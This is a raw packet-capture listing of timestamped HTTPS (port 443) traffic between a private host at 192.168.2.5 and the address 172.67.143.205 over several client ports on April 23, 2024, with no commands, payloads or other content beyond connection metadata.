Apr 23, 2024 21:54:07.684580088 CEST	49773	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.684587955 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.684675932 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.684735060 CEST	49773	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.684742928 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.684820890 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.684873104 CEST	49773	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.684880972 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.684967041 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.685053110 CEST	49773	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.685060024 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.739789009 CEST	49773	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.766947985 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.767139912 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.767199993 CEST	49773	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.767215014 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.767370939 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.767453909 CEST	49773	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.767460108 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.767491102 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.767632961 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.767685890 CEST	49773	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.767694950 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.767729998 CEST	49773	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.767986059 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.768177986 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.768294096 CEST	49773	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.768301964 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.768385887 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.768440008 CEST	49773	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.768446922 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.768841982 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.768893957 CEST	49773	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.768902063 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.769004107 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.769151926 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.769217014 CEST	49773	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.769489050 CEST	49773	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.769505978 CEST	443	49773	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.769989967 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.770088911 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.770473957 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.770978928 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.771012068 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.771236897 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.771518946 CEST	49776	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.771549940 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.772049904 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.772396088 CEST	49776	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.772475004 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.772584915 CEST	49776	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.772599936 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.792644024 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.797543049 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.797616005 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.798152924 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.798660994 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.798705101 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.798717022 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.798758030 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.803106070 CEST	443	49778	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.803338051 CEST	49778	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.803354979 CEST	443	49778	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.807061911 CEST	443	49778	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.807117939 CEST	49778	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.807454109 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.807580948 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.807697058 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.807712078 CEST	49772	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.807730913 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.807738066 CEST	49778	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.807781935 CEST	49772	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.807813883 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.807817936 CEST	443	49778	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.807967901 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.808027029 CEST	49772	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.808034897 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.808146000 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.808197975 CEST	49772	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.808207035 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.808264971 CEST	49778	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.808274031 CEST	443	49778	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.812966108 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.813025951 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.813065052 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.813096046 CEST	49770	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.813106060 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.813119888 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.813148975 CEST	49770	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.813186884 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.813227892 CEST	49770	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.813237906 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.813385010 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.813426971 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.813453913 CEST	49770	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.813463926 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.813508034 CEST	49770	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.813517094 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.842262030 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.857307911 CEST	49770	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.857320070 CEST	49772	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.857323885 CEST	49778	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.857331038 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.857350111 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.901143074 CEST	49772	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.901161909 CEST	49770	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.901511908 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.901801109 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.901855946 CEST	49772	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.901864052 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.902045012 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.902093887 CEST	49772	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.902101040 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.902216911 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.902266979 CEST	49772	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.902273893 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.902740955 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.902789116 CEST	49772	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.902796030 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.902889013 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.902976036 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.903029919 CEST	49772	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.903037071 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.903187990 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.903676033 CEST	49772	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.903995991 CEST	49772	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.904019117 CEST	443	49772	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.904532909 CEST	49781	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.904587984 CEST	443	49781	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.905106068 CEST	49781	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.905488968 CEST	49781	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.905518055 CEST	443	49781	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.906829119 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.906974077 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.907190084 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.907248020 CEST	49770	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.907267094 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.907325983 CEST	49770	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.907339096 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.907409906 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.907474041 CEST	49770	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.907488108 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.907871962 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.907953024 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.907953978 CEST	49770	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.907977104 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.908148050 CEST	49770	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.908162117 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.908642054 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.908703089 CEST	49770	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.908716917 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.908803940 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.908868074 CEST	49770	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.908880949 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.911853075 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.911937952 CEST	49770	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.911951065 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.912007093 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.912064075 CEST	49770	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.912678957 CEST	49770	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.912698984 CEST	443	49770	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.913014889 CEST	49782	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.913048029 CEST	443	49782	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.913101912 CEST	49782	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.913737059 CEST	49782	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.913750887 CEST	443	49782	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.996345997 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.996795893 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:07.996849060 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.999018908 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:07.999092102 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.001116037 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.001218081 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.001282930 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.001317024 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.001329899 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.001374960 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.128387928 CEST	443	49781	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.128689051 CEST	49781	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.128710985 CEST	443	49781	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.129199982 CEST	443	49781	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.129539013 CEST	49781	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.129636049 CEST	443	49781	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.129848957 CEST	49781	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.129883051 CEST	443	49781	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.129981041 CEST	49781	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.143738985 CEST	443	49782	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.144001961 CEST	49782	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.144021988 CEST	443	49782	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.145282030 CEST	443	49782	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.146790981 CEST	49782	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.146868944 CEST	443	49782	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.147494078 CEST	49782	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.147521019 CEST	443	49782	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.172147989 CEST	443	49781	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.214020967 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.214154959 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.214215994 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.214237928 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.214266062 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.214317083 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.214364052 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.214504957 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.214585066 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.214602947 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.214622974 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.214714050 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.214762926 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.214776993 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.214823961 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.214837074 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.259490967 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.259507895 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.265630960 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.265698910 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.265762091 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.265782118 CEST	49776	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.265814066 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.265834093 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.265897036 CEST	49776	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.265927076 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.265969992 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.266000986 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.266026974 CEST	49776	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.266058922 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.266091108 CEST	49776	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.266431093 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.266470909 CEST	49776	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.266478062 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.301093102 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.301151991 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.301167011 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.301258087 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.301395893 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.301409960 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.301750898 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.301846981 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.301878929 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.301893950 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.301955938 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.301969051 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.302220106 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.302270889 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.302284956 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.302546024 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.302701950 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.302715063 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.302831888 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.302911997 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.302964926 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.302978992 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.303030014 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.303042889 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.303539038 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.303596973 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.303610086 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.303699017 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.303777933 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.303829908 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.303843975 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.303895950 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.303908110 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.307800055 CEST	49776	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.344969034 CEST	443	49778	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.345123053 CEST	443	49778	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.345136881 CEST	49778	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.345160961 CEST	443	49778	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.345180988 CEST	49778	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.345207930 CEST	49778	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.352224112 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.352453947 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.352485895 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.352520943 CEST	49776	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.352543116 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.352607965 CEST	49776	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.352833033 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.352901936 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.352935076 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.352952957 CEST	49776	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.352966070 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.353033066 CEST	49776	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.353163958 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.353178978 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.353425980 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.353492022 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.353528023 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.353560925 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.353576899 CEST	49776	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.353589058 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.353614092 CEST	49776	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.354391098 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.354437113 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.354475975 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.354486942 CEST	49776	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.354501009 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.354526043 CEST	49776	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.354547977 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.354594946 CEST	49776	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.354605913 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.355246067 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.355285883 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.355315924 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.355317116 CEST	49776	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.355328083 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.355365038 CEST	49776	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.391825914 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.391913891 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.391927958 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.391948938 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.392227888 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.392291069 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.392307997 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.392374039 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.392388105 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.393119097 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.393140078 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.393183947 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.393199921 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.393239975 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.393248081 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.393309116 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.393323898 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.393373013 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.393946886 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.394021988 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.394037962 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.394102097 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.405560970 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.405630112 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.405648947 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.405709028 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.406270027 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.406347990 CEST	49777	443	192.168.2.5	172.67.143.205
